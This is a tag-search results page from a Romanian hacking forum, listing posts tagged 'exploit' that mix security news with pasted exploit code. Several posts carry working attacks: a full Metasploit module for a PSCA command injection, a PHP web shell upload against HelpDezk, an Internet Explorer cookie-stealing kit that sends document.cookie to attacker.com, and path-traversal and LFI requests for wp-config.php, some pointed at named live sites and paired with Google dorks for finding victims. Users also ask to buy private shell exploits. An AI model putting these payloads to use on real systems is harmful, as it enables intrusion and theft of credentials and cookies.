Jump to content

Search the Community

Showing results for tags 'exploit'.

  • Search By Tags

    Type tags separated by commas.

  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End

Last Updated

  • Start

    End

Filter by number of...

Joined

  • Start

    End

Group

Website URL

Yahoo

Jabber

Skype

Location

Interests

Biography

Location

Interests

Occupation

Found 82 results

  1. Aerosol
    /*********************************************************************************** ** Exploit Title: Yahoo Query Language Cross Site Scripting Vulnerability ** ** Exploit Author: Peyman D. aka C4T ** ** Vendor Homepage : http://query.yahooapis.com/ ** ** Google Dork: none ** ** Date: 2015-03-08 ** ** Tested on: Windows 7 / Mozila Firefox ** ************************************************************************************ ** Exploit Code: ****************** <html xmlns="http://www.w3.org/1999/xhtml"> <body> <span>Discovered by Peyman D.</span> <span>aka C4T</span> <script> alert('Successfully Exploited'); </script> </body> </html> ************************************************************************************ Location & Vulnerable query: ****************** http://query.yahooapis.com/v1/public/yql?q= select * from html where url='[attacker-website.com]/exploit.html' and xpath='html' ************************************************************************************* ** Proof: ****************** Executable script tag in API's own page: Malicious source: http://hatrhyme.com/alert.html Exploit query: http://query.yahooapis.com/v1/public/yql?q= select * from html where url='http://hatrhyme.com/alert.html' and xpath='html' ------------------------------------------------------- Injecting HTML tags in API's own page: Malicious source: http://hatrhyme.com/expl.html Exploit query: http://query.yahooapis.com/v1/public/yql?q= select * from html where url='http://hatrhyme.com/expl.html' and xpath='html' ------------------------------------------------------- ****************************************************************************************** ** ** Explanation and the cause of this vulnerability: ** ** http://hatrhyme.com/XSSInYQL.pdf ** ****************************************************************************************** Source
  2. Kalashnikov.
    # Exploit Title: Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability # Date: 2014-10-01 # Exploit Author: Ben Turner # Vendor Homepage: Previosuly HP, now http://www.persistentsys.com/ # Version: 7.9, 8.1, 9.0, 9.1 # Tested on: Windows XP, Windows 7, Server 2003 and Server 2008 # CVE-2015-1497 # CVSS: 10 require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # Exploit mixins should be called first include Msf::Exploit::Remote::SMB include Msf::Exploit::EXE include Msf::Auxiliary::Report # Aliases for common classes SIMPLE = Rex::Proto::SMB::Client XCEPT = Rex::Proto::SMB::Exceptions CONST = Rex::Proto::SMB::Constants def initialize super( 'Name' => 'Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability', 'Description' => %Q{ This module exploits PS Client Automation, by sending a remote service install and creating a callback payload. }, 'Author' => [ 'Ben Turner' ], 'License' => BSD_LICENSE, 'References' => [ ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10, 'EXITFUNC' => 'process' }, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Platform' => ['win'], 'Targets' => [ [ 'PS Client Automation on Windows XP, 7, Server 2003 & 2008', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'January 10 2014' ) register_options([ OptString.new('SMBServer', [true, 'The IP address of the SMB server', '192.168.1.1']), OptString.new('SMBShare', [true, 'The root directory that is shared', 'share']), Opt::RPORT(3465), ], self.class) end def exploit createservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" createservice << "Nvdkit.exe service install test -path \"c:\\windows\\system32\\cmd.exe /c \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe\"" createservice << "\x22\x00\x00\x00" startservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" startservice << "Nvdkit service start test" startservice << "\x22\x00\x00\x00" removeservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" removeservice << "Nvdkit service remove test" removeservice << "\x22\x00\x00\x00" def filedrop() begin origrport = self.datastore['RPORT'] self.datastore['RPORT'] = 445 origrhost = self.datastore['RHOST'] self.datastore['RHOST'] = self.datastore['SMBServer'] connect() smb_login() print_status("Generating payload, dropping here: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe'...") self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") exe = generate_payload_exe fd = smb_open("\\installservice.exe", 'rwct') fd << exe fd.close self.datastore['RPORT'] = origrport self.datastore['RHOST'] = origrhost rescue Rex::Proto::SMB::Exceptions::Error => e print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n") abort() end end def filetest() begin origrport = self.datastore['RPORT'] self.datastore['RPORT'] = 445 origrhost = self.datastore['RHOST'] self.datastore['RHOST'] = self.datastore['SMBServer'] connect() smb_login() print_status("Checking the remote share: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") file = "\\installservice.exe" filetest = smb_file_exist?(file) if filetest print_good("Found, upload was succesful! \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\#{file}\n") else print_error("\\\\#{datastore['SMBServer']}\\#{file} - The file does not exist, try again!") end self.datastore['RPORT'] = origrport self.datastore['RHOST'] = origrhost rescue Rex::Proto::SMB::Exceptions::Error => e print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n") abort() end end begin filedrop() filetest() connect() sock.put(createservice) print_status("Creating the callback payload and installing the remote service") disconnect sleep(5) connect() sock.put(startservice) print_good("Exploit sent, awaiting response from service. Waiting 15 seconds before removing the service") disconnect sleep(30) connect sock.put(removeservice) disconnect rescue ::Exception => e print_error("Could not connect to #{datastore['RHOST']}:#{datastore['RPORT']}\n\n") abort() end end end
  3. Aerosol
    Attackers behind the Angler Exploit Kit have added a tweaked version of an exploit for a patched Internet Explorer use-after-free vulnerability. Microsoft patched the vulnerability (MS14-056) in last October’s round of Patch Tuesday updates but that hasn’t stopped attackers from adding the vulnerability to the exploit toolkit. Similar to exploits disclosed in October, the sample Angler is using has been modified to bypass IE’s mitigation technology MEMPROTECT. According to Dan Caselden, a ?staff research scientist at FireEye who blogged on Friday about the vulnerability being included in Angler , this one is a use after free with MSHTML!CTitleElement that MEMPROTECT was not originally supposed to mitigate. Caselden claims the attack angle is interesting on its own because it focuses on IE deployments that use MEMPROTECT – introduced in July 2014 – but added that the vulnerability also cements the idea that attackers remain interested in compromising IE, especially against users running nearly five-month-old versions of it. Still, the use after free is not a generic exploit – some of its techniques weren’t necessary, Caselden adds – and going forward attackers will still have to find their way around the MEMPROTECT technology. “Some of the employed techniques (particularly the modified garbage collection routine) were not necessary,” Caselden wrote, “So in the future, exploit authors will need to find a reliable way around the delayed free, or bugs with another object that falls outside of the CMemoryProtector’s domain.” Chinese researchers with Keen team (a/k/a k33nteam) first talked about how (.PDF) to exploit a use after free vulnerability against MEMPROTECT at the Taiwanese security conference Hitcon X over the summer and went describe how it bypasses memory protection and isolated heap in Windows 8.1 shortly after the bug was patched by Microsoft, in a blog entry last October. Caselden gets much deeper into the exploit and points out the similarities from k33nteam’s proof of concept and the Angler sample on FireEye’s blog. For example, unlike the October exploit, this one can also optionally serve up a Flash zero day (CVE-2015-0313) – one of the three that plagued the Adobe software last month – that was also previously seen being used by Angler. Microsoft introduced MEMPROTECT, or MemoryProtection, in a July 2014 patch for IE and while the heap mitigation technology isn’t failsafe, it was thought to be effective against use after free vulnerabilities. For a short period it seemed as if the move would curb the number of IE exploits spotted in the wild, as attackers wouldn’t have to reuse dated IE use after free exploits. Naturally attackers were able to come up with ways around this. Attackers that have long had it out for Microsoft’s Internet Explorer and continue to take old, since-patched exploits and add them to their exploit kits just to see what sticks. In January attackers added a nasty, previously unknown Flash zero day that targeted IE on Windows 7 and 8 to the kit. An analysis of Angler last month called it the most sophisticated kit on the market, namely because it’s been the fastest to integrate newly released zero days and because its obfuscation is reportedly at the top of its game. Source
  4. Aerosol
    Apparently no vulnerability is too small, no application too obscure, to escape a hacker’s notice. A honeypot run by Trustwave’s SpiderLabs research team recently snared an automated attack targeting users of the open source Rejetto HTTP File Server (Rejetto HFS). Someone was trying to exploit a vulnerability—which has since been patched—and install the well-known distributed denial-of-service tool IptabLes (unrelated to the Linux tool), also known as IptabLex. Rejetto HFS has been downloaded more than 24,000 times in the last seven days and according to the project’s website has an estimated 12,500 users and is used as a file-sharing application as well as a webserver. It also runs on Wine, the Windows emulator for Linux systems. “This is just one snapshot, one request. This is one example to extrapolate and take a higher level view; there’s likely a lot more activity out there,” said Ryan Barnett, SpiderLabs lead researcher. It’s likely the attackers have simply incorporated this exploit into a larger attack platform, Barnett said. “That’s the value of honeypots, spotting automated tools scanning the Internet shot-gunning exploits, and hoping it works,” Barnett said. The exploit, sent from a possible compromised IP address in China, was targeting CVE-2014-6287, a remote code execution bug in Rejetto. Specifically, the vulnerability affects Rejetto versions prior to 2.3c; the vulnerability is in the findMacroMarker function. Barnett said the exploit relies on a null byte character to trigger the attack code, which is written in Microsoft VBScript. Once the exploit executes, it tries to connect to a pair of IP addresses hosted in Paris (123[.]108.109.100 and 178[.]33.196.164) on three ports: 80 (HTTP); 53 (DNS); and 443 (HTTPS). Barnett said only 178[.]33.196.164 remains online and is a malware repository responding to XML HTTP Requests (XHR) from the exploit. A file called getsetup.exe is sent to the compromised server along with another executable, ko.exe, which drops IptabLes. Barnett said detection rates are high for the hash of getsetup.exe. IptabLes is a troublesome DDoS tool, capable of synflood and DNSflood attacks. It installs itself into boot for persistence, according to the SpiderLabs research, which added that IptabLes has been widely reported targeting Linux and Unix servers. The vulnerability being targeted was submitted last September. “It’s not very sophisticated, and a lot of times these types of attacks don’t have to be,” Barnett said. “These guys are concerned with scale because they’re running botnets. What makes botnets so nice to the criminals running them is that they don’t care to be stealthy. They can send attacks blindly, and if they’re shut down, they just move on.” Source
  5. Aerosol
    # Exploit Title: HelpDezk 1.0.1 Multiple Vulnerabilities # Google Dork: "intext: helpdezk-community-1.0.1" # Date: 26-2-2015 # Exploit Author: Dennis Veninga # Vendor Homepage: http://www.helpdezk.org/ # Vendor contacted: 26-2-2015 # Version: 1.0.1 # Tested on: Firefox 36 & Chrome 38 / W8.1-x64 HelpDezk -> Version: 1.0.1 Type: Multiple Critical Vulnerabilities Severity: Critical Info Exploit: Different exploits making it possible to take over the website/server - Arbitrary File Upload - Remote Command Execution - User Information Disclosure ############################################### Arbitrary File Upload, 2 ways -> 1. Direct Access: http://{target}/helpdezk/admin/logos/upload ######### 2. POST: http://localhost/helpdezk/admin/logos/upload After posting this, visit http://{target}/helpdezk/app/uploads/logos/shell.php?cmd=whoami CONTENT: -----------------------------14463264629720\r\n Content-Disposition: form-data; name="file"; filename="shell.php"\r\n Content-Type: application/octet-stream\r\n \r\n <?php\r\n if(isset($_REQUEST['cmd'])){\r\n $cmd = ($_REQUEST["cmd"]);\r\n system($cmd);\r\n echo "</pre>$cmd<pre>";\r\n die;\r\n }\r\n ?>\r\n -----------------------------14463264629720--\r\n ############################################### Remote Command Execution, you see an white page with 'ok' when SUCCESS! Delete a download POST: http://localhost/helpdezk/admin/downloads/delete CONTENT: id={IDNUMBER} Deactivate admin panel: *use /activate and id={IDNUMBER} to activate again* POST: http://{localhost}/helpdezk/admin/modules/deactivate CONTENT: id=1 id=1 = Admin id=2 = Dashboard id=3 = HelpDezk ############################################### User Information Disclosure NOTE: Stop javascript, else it will quickly show all info and returns you to the login page. POST: http://{target}/helpdezk/admin/relPessoa/table_json/ CONTENT: typeperson=ALL ############################################### I'm sure I didn't find everything, but maybe time to fix those huge issues first! Source
  6. Fi8sVrs
    As the past has show us, cybercriminals are not the most trustworthy people when it come to holding valuable sources, and it looks like we're about to get another reminder of that, this time with an exploit pack leak. RIG is a popular exploit kit which has been around for about a year and sold on various "underground" forums. On February 3rd 2015 a user claiming to be the "Official HF Sales Rep" posted a sales thread on hackforums (HF), which is unusual as most serious sellers avoid this forum completely. It's likely the decision to allow resellers on this specific board was due to a large amount of users trying to rent out access to their RIG accounts, resulting in lost income for the seller. Hackforums RIG sales thread Although the HF reseller first claimed to be a verified seller, the claims soon escalated into being "more than just a seller", and before long he was registering on private forums claiming to be one of the developers. Sellers with benefits Private forum introduction His introduction into the private forum didn't go too well: First members pointed out that his RIG prices were nearly 40% higher than the official sellers (typical of a re-seller not a developer), then they made fun of him when someone posted screenshots of his website, which was requesting a $3000 payment to gain access to his never-heard-of private forum. Eventually the entire thread turned into people making fun of him, before the administrator banned his account. It seems like the RIG owner was less than pleased with the reseller's antics because the next day, in a conversation with another member, the owner declared that he had suspended the reseller for attempting to scam customers, which isn't surprising given he was requesting that people pay him $3000 for access to an imaginary private forum. Conversation between a HF member and RIG owner Shortly after, the reseller does what any cybercriminal does when his enterprise begins crumbling around him: He sings up for twitter and becomes a security researcher??? I don't even.... The twitter account, which is a pun on MalwareMustDie, claims to be in possession of the RIG source code as well as a recent database dump, and is currently tweeting a download link at various security researchers (not me though, apparently I'm not good enough). The file, which is password protected, was deleted from the filehost after less than 24 downloads, so I am not able to confirm if this is legit or just another scriptkiddie tantrum. A screenshot allegedly showing panel files and sql database dump RIG owner confirms he may have database and older version of exploit kit. I'll post updates when I have more info. Updated 02/12/2015 09:00 (UTC) I've confirmed with 3 people that the leak is in fact legitimate, and a fairly recent version of the pack, though it is possibly some parts may be missing. @kafeine has mentioned that he thinks someone with access to the RIG panel may be stealing traffic. He reports that occasionally the exploit payload appears to be replaced with another (usually cryptowall); which coincides with a lot of claims made by customers who bought RIG through the reseller. a RIG thread pushing 2 different payloads Due to the way in which the RIG exploit pack works (the exploiting is done by a back-end server, so no exploits are contained within the leak), I have decided to upload it here (thanks to @kafeine for files and information). Via RIG Exploit Kit - Source Code Leak | MalwareTech
  7. Usr6
    Exploit Pack is a full IDE for exploit development and penetration testing with base workspace and an extensible module system. It is written mostly in JAVA but its modules use Python as an engine and it can be used to develop packages or tools which then can be run inside of GUI. Released under the GPLv3, Exploit Pack is free and open source tool running on Windows, GNU/Linux, FreeBSD and MacOSX. Home page, download: Exploit Pack - Exploit Development IDE
  8. Aerosol
    Talk about determination. Hackers strung together zero-day vulnerabilities in Flash and Internet Explorer and then compromised Forbes.com so that the attacks would compromise financial services and defense contractor employees visiting the site, researchers said. The November breach of Forbes compromised the Thought of the Day page that is displayed briefly upon visiting the site. The page downloaded attack code exploiting a vulnerability in what then was a fully updated version of Adobe Flash. To bypass Address Space Layout Randomization—a mechanism built into Flash and many other applications to make drive-by attacks harder—the Forbes page downloaded a second attack. The latter attack exploited a then-zero-day vulnerability in IE that allowed the Flash exploit to successfully pierce the exploit mitigation defense. From start to finish, the attack took about seven seconds. "In the world of cyber threats, the chained 0-day exploit is a unicorn—the best known attack with chained 0-days was the Stuxnet attack allegedly perpetrated by US and Israeli intelligence agencies against Iran's nuclear enrichment plant at Natanz as part of an operation known as Olympic Games," a blog post detailing the attack explained. "Given the highly trafficked Forbes.com website, the exploit could have been used to infect massive numbers of visitors." Instead, only visitors from US Defense and financial services firms were hacked. Adobe patched the Flash vulnerability, designated as CVE-2014-9163, in early November. Microsoft fixed CVE-2015-0071 on Tuesday. The Forbes.com compromise is believed to have started in late November and lasted for a few days. The incident, which was uncovered by researchers from security firms Invincea and iSIGHT Partners, underscores the ingenuity and determination of today's hackers. Any one of the key ingredients of the hack—the Flash bug, the IE flaw, or the compromise of Forbes.com—wasn't enough to penetrate the defenses of defense contractors or financial services firms. But by stringing them together, the attackers were able to achieve their goals. It also helps explain why even minor software flaws that don't by themselves allow for remote code execution—for instance an escalation of privilege bug or a disclosure flaw—nonetheless pose a significant threat to end users. Source
  9. Aerosol
    Flash exploit from Angler Exploit Kit. Analyzing CVE-2015-0313 - The New Flash Player Zero Day https://www.trustwave.com/Resources/SpiderLabs-Blog/A-New-Zero-Day-of-Adobe-Flash-CVE-2015-0313-Exploited-in-the-Wild Download Pass: infected Source
  10. Aerosol
    Cookie hijacking: Internet Explorer UXSS (CVE-2015-0072) Host below files on webserver (attacker.com) and share the exploit link with victims, exploit.php --- exploit link (Share with victim) redirect.php --- Script to redirect on target page (target page should not contain X-Frame-Options or it will fail) delay.php --- Script to add delay collector.php --- Script to collect hijacked cookie log.txt --- Collected cookies will be stored in this text file -------------------------------------exploit.php----------------------------------- <iframe src="redirect.php" style="display:none"></iframe> <iframe src="https://target.com/" style="display:none"></iframe> <script> top[0].eval('_=top[1];with(new XMLHttpRequest)open("get","http://attacker.com/delay.php",false),send();_.location="javascript:bkp=\'http://attacker.com/collector.php?\'+document.cookie;alert(bkp);window.location(bkp);"'); </script> -------------------------------------------------------------------------------------- -------------------------------------redirect.php----------------------------------- <?php header("Location: https://target.com/"); exit(); ?> -------------------------------------------------------------------------------------- -------------------------------------delay.php----------------------------------- <?php sleep(15); echo 'Bhdresh'; exit(); ?> -------------------------------------------------------------------------------------- -------------------------------------collector.php----------------------------------- <?php $f = fopen("log.txt", 'a'); fwrite($f, $_SERVER["REQUEST_URI"]."\n"); fclose($f); header("Location: http://www.youtube.com/"); ?> -------------------------------------------------------------------------------------- -------------------------------------log.txt----------------------------------- - Create a file as log.txt and modify the permissions (chmod 777 log.txt) -------------------------------------------------------------------------------------- Demo: facabook.net16.net/exploit.php Reference: http://innerht.ml/blog/ie-uxss.html Source
  11. cristodulo
    Cine e interesat sa imi dea pm
  12. Aerosol
    Hackers are using a zero-day vulnerability in Adobe Flash to infect systems with a dangerous BEDEP malware variant. Trend Micro research engineer Alvin Bacani reported uncovering the campaign in a threat advisory, proving that hackers began targeting the zero-day less than a week after its discovery. "Continuing our analysis of the recent Adobe zero-day exploit, we find that the infection chain does not end with the Flash exploit, detected as SWF_EXPLOIT.MJST. Rather, the exploit downloads and executes malware belonging to the BEDEP family," read the advisory. Trend Micro reported uncovering the Flash flaw on 2 February, warning that attackers could target victims with malvertising attacks. The flaw is originally believed to have been targeted by hackers using the Angler Exploit Kit to send malicious automatic pop-up adverts. Bacani explained that BEDEP employs the same malvertising infection tactic, but uses the Hanjuan exploit kit to connect victim machines to a criminal botnet. "Based on our analysis, the infection chain begins with a site that hosts malvertisements. As the name implies, these are infected online advertisements," read the advisory. "Our recent findings also show that the malware's main purpose is to turn infected systems into botnets for other malicious intentions. "Additionally, BEDEP is known for carrying out advertising fraud routines and downloading additional malware." The full scale of the campaign remains unknown and the nature of the BEDEP malware makes tracking the attacks difficult. "The fact that the payloads are encoded can be seen as one way of evading detection. An encoded payload will be difficult to identify when passing through the network layer, or when scanned in any layer in an encoded state," noted Bacani. "BEDEP initially came undetected and unnoticed due to its heavy encryption and use of Microsoft file properties for its disguise as well as the use of seemingly legitimate export functions." The flaw is one of three recently discovered Flash zero-day vulnerabilities. The first two were uncovered by Adobe in January and are known to have been actively targeted by hackers. Source
  13. mundy.
    A researcher has identified a serious universal cross-site scripting (UXSS) vulnerability in the latest version of Microsoft’s Internet Explorer web browser. The issue was discovered by David Leo, a researcher at the UK-based security firm Deusen. The vulnerability can be leveraged to completely bypass Same Origin Policy (SOP), the policy that prevents scripts loaded from one origin from interacting with a resource from another origin. The bug allows an attacker to “steal anything from another domain, and inject anything into another domain,” the expert said in a post on Full Disclosure. A proof-of-concept (PoC) exploit for the vulnerability, tested on Internet Explorer 11 running on Windows 7, was published by Leo over the weekend. The PoC shows how an external domain can alter the content of a website. In the demonstration, the text “Hacked by Deusen” is injected into the website of The Daily Mail. The URL in the browser’s address bar remains the same -- in this case dailymail.co.uk -- even after the arbitrary content is injected, which makes this vulnerabilty ideal for phishing attacks. Joey Fowler, a senior security engineer at Tumblr, said the exploit has some “quirks,” but it works as long as the targeted website doesn’t have X-Frame-Options headers with “deny” or “same-origin” values. “Pending the payload being injected, most Content Security Policies are also bypassed (by injecting HTML instead of JavaScript, that is),” Fowler said in a reply to Leo’s Full Disclosure post. “It looks like, through this method, all viable XSS tactics are open!” Fowler has also highlighted the fact that the exploit can even bypass standard HTTP-to-HTTPS restrictions. The issue was reported to Microsoft on October 13, 2014. The company says it’s working on fixing the vulnerability, but has pointed out that an attacker needs to trick potential victims into visiting a malicious website for the exploit to work. “To successfully exploit this issue, an adversary would first need to lure a person, often through trickery such as phishing, to a malicious website that they’ve created. SmartScreen, which is on by default in newer versions of Internet Explorer, helps protect against nefarious phishing websites,” a Microsoft spokesperson told SecurityWeek. “We’re not aware of this vulnerability being actively exploited and are working to address it with an update. We continue to encourage customers to avoid opening links from untrusted sources and visiting untrusted sites, and to log out when leaving sites to help protect their information.” This isn’t the first time a vulnerability affecting Microsoft products is disclosed before the company manages to release a patch. Over the past weeks, Google’s Project Zero published the details of three Windows vulnerabilities after the expiration of a 90-day disclosure deadline. Source: securityweek.com
  14. win
    Salut, Sunt interesat sa cumpar exploituri pentru shelluri, ceva privat, nu vreau exploit public. buget 500/100 euro.
  15. Aerosol
    |#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| |-------------------------------------------------------------------------| |[*] Exploit Title: Wordpress RedSteel Theme Arbitrary File Download Vulnerability | |[*] Google Dork: inurl:wp-content/themes/RedSteel | |[*] Date : Date: 2015-01-25 | |[*] Exploit Author: Ashiyane Digital Security Team | |[*] Vendor Homepage : http://www.webdesignlessons.com/redsteel-wordpress-theme/ | |[*] Tested on: Windows 7 | |[*] Discovered By : ACC3SS | |-------------------------------------------------------------------------| | |[*] Location : [localhost]/wp-content/themes/RedSteel/download.php?file=filename.php | |-------------------------------------------------------------------------|download.php | Vulnerable file : download.php | | Vulnerable code : | <?php $file = @$_GET['file']; $parts = explode('/',$file); $fileName = $parts[sizeof($parts)-1]; if ((isset($file))&&(file_exists($file))) { header("Content-type: application/force-download"); header('Content-Disposition: inline; filename="' . $fileName . '"'); header("Content-Transfer-Encoding: Binary"); header("Content-length: ".filesize($file)); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $fileName . '"'); readfile($file); } ?> | | | | | | |[*] Proof: | |[*] http://dixonpest.com/wp-content/themes/RedSteel/download.php?file=../../../wp-config.php | |[*] http://rmhctallahassee.org/wp-content/themes/RedSteel/download.php?file=download.php | |[*] | | |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| |#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| Source
  16. Aerosol
    Proof of concept exploit that allows a local application to gain system privileges via CVE-2014-7911 and then root via CVE-2014-4322. The exploit included is for a Nexus 5 with Android 4.4.4 (KTU8P). The exploit may also work on other devices if the offsets of the rop chain are modified. Download: Download: Android CVE-2014-7911 / CVE-2014-4322 Local Exploit ? Packet Storm
  17. Worm64
    Security researcher Kafeine has discovered a Zero-Day in Adobe Flash Player distributed through the Angler Exploit Kit. Flash has been plagued with critical vulnerabilities in the past few months and surpassed the no longer popular Java as the most exploited plugin. We immediately got our hands on this new Zero-Day (thanks Kafeine) and were able to replay it as well with the goal of testing our Anti-Exploit product: Security researcher Kafeine has discovered a Zero-Day in Adobe Flash Player distributed through the Angler Exploit Kit. Flash has been plagued with critical vulnerabilities in the past few months and surpassed the no longer popular Java as the most exploited plugin. We immediately got our hands on this new Zero-Day (thanks Kafeine) and were able to replay it as well with the goal of testing our Anti-Exploit product: MarcinZeroDay With the latest version of Internet Explorer and latest version of Flash, the exploit was successfully blocked by Malwarebytes Anti-Exploit. On unprotected machines, the Angler Exploit Kit will install Bedep, a distribution botnet that can load multiple payloads on the infected host. As this is a breaking story, we are still analyzing the exploit and will update this post later accordingly. Update: 01/21/15: Some details about the malware payload. The payload in this particular instance was ad fraud. Upon infection, explorer.exe (not to be confused with iexplore.exe) is injected and performs the ad fraud calls. The following Fiddler capture shows how a zombie PC is gaming the ad networks with bogus requests without the victim’s knowledge: sursa:Malwarebytes team
  18. Aerosol
    # Exploit Title: Bsplayer HTTP Response BOF # Date: Jan 17 ,2015 # Exploit Author: Fady Mohamed Osman (@fady_osman) # Vendor Homepage: www.bsplayer.com # Software Link: http://www.bsplayer.com/bsplayer-english/download-free.html # Version: current (2.68). # Tested on: Windows 7 sp1 x86 version. # Exploit-db : http://www.exploit-db.com/author/?a=2986 # Youtube : https://www.youtube.com/user/cutehack3r Exploit: http://www.exploit-db.com/sploits/35841.tar.gz Bsplayer suffers from a buffer overflow vulnerability when processing the HTTP response when opening a URL. In order to exploit this bug I needed to load a dll with no null addresses and no safeseh ,ASLR or DEP. I noticed that one of the dlls that matches this criteria is (MSVCR71.dll) and it's loaded when I loaded an flv file over the network and that's why I'm sending a legitimate flv file first so later we can use the loaded dll. Also the space after the seh record is pretty small so what I did is that I added a small stage shell cdoe to add offset to esp so it points at the beginning of my buffer and then a jmp esp instruction to execute the actual shellcode. -- *Regards,* Fady Osman about.me/Fady_Osman <http://about.me/Fady_Osman> Source
  19. Aerosol
    # Exploit Title: CIP4 Folder Download Widget LFI # Google Dork: index of :/cip4-folder-download-widget # Date: 13-01-2015 # Exploit Author: Ben khlifa Fahmi (XTnR3v0lt) # Vendor Homepage: http://community.cip4.org # Software Link: https://wordpress.org/plugins/cip4-folder-download-widget/ # Version: 1.10 # Tested on: Ubuntu 14.04 Dork : inurl:/wp-content/plugins/cip4-folder-download-widget/ Exploit : http://localhost/[wordpress]/wp-content/plugins/cip4-folder-download-widget/cip4-download.php?target=wp-config.php&info=wp-config.php Ben khlifa Fahmi - Founder & CEO of Tunisian Cyber Army Greetz to : Joseph - Michou - hackerXben - RaisoMos - Lola - All muslim hackers world wide Source
  20. Aerosol
    Exploit Title: WebGUI 7.10.29 stable version Cross site scripting vulnerability Software Link: http://www.webgui.org/download Author: SECUPENT Website:www.secupent.com Email: research{at}secupent{dot}com Date: 17-1-2015 Version: 7.10.29. Previous version maybe vulnerable also. Vulnerable area: http://localhost/style-underground/search XSS PoC: 1" onmouseover=prompt(907460) bad=" Screenshot: Link: http://secupent.com/exploit/images/webgui-xss.png Mirror: http://vulnerability.io/exploit/images/webgui-xss.png Reference: http://secupent.com/exploit/WebGUI-7.10.29-XSS.txt Special Thanks: vulnerability.io, pentester.io, osvdb.org, exploit-db.com, 1337day.com, cxsecurity.com, packetstormsecurity.com and all other exploit archives, hackers and security researchers. Source
  21. NO-MERCY
    Hello Rst : This is a little Course for Exploit Development for Win32 talking about stack based bof & seh Contents : Stack-Based Buffer Overflow Tutorials : <--- Part One VLC media player V 0.8.6d (Target) 1-Stack-based Buffer Overflow tutorials : Step 1: Preparing The Skeleton Exploit 2-Stack-based Buffer Overflow tutorials: Step 2 Verifying The Bug 3-Stack-based Buffer Overflow tutorials Step 3: Finding the overwrite offset. Target 4-Stack-based Buffer Overflow tutorials. Step 4 : Picking an overwrite address (JMP ESP: USER32.dll) 5-Stack-based Buffer Overflow tutorials. Step 5: Finding bad characters 6-Stack-based Buffer Overflow tutorials. Step 6 : Adding The Final Shellcode 7-Stack-based Buffer Overflow tutorials. Step 7 : Porting Exploit to Metasploit Framework 8-Stack-based Buffer Overflow tutorials. Step 8: Porting exploit to Metasploit. Seh-Based Buffer Overflow Tutorials : <--- Part Two :) Video Spirit Pro (Target) 9-SEH-based buffer overflow tutorials. Step 1: Skeleton Exploit 10-SEH-based buffer overflow tutorials. Step 2: Finding the Overwrite Offset 11-SEH-based buffer overflow tutorials. Step 3: Picking an overwrite address 12-SEH-based buffer overflow tutorials. Step 4: Finding Bad Characters 13-SEH-based buffer overflow tutorials. Step 5: Adding The Final Shellcode Playlist Youtube : https://www.youtube.com/playlist?list=PLdXylH5WObDcOUUyhoHWUcFImbGNU7nT1 Author : ninjas3c Regards NO-MERCY
  22. Fed0t
    In filmulet veti vedea cum functioneaza! Rata de succes foarte scazuta deoarece pluginul NRPE are un fisier de config care contine allowed_hosts = 127.0.0.1 ca default iar dupa configurare de obicei se pun doar serverele pe care le doreste administratorul! Am intrebat si pe canalul lor de IRC si mi-au confirmat ca doar cei trecuti in allowed_hosts pot da comenzi! Daca cunoaste cineva si lucreaza cu Nagios si NRPE este asteptat aici poate ne invata mai multe chestii cum putem da bypass la allowed_hosts! http://smarth.ro/public/nrpe-exploit.py http://smarth.ro//public/shell.txt
  23. Versus71
    ..........
  24. Fi8sVrs
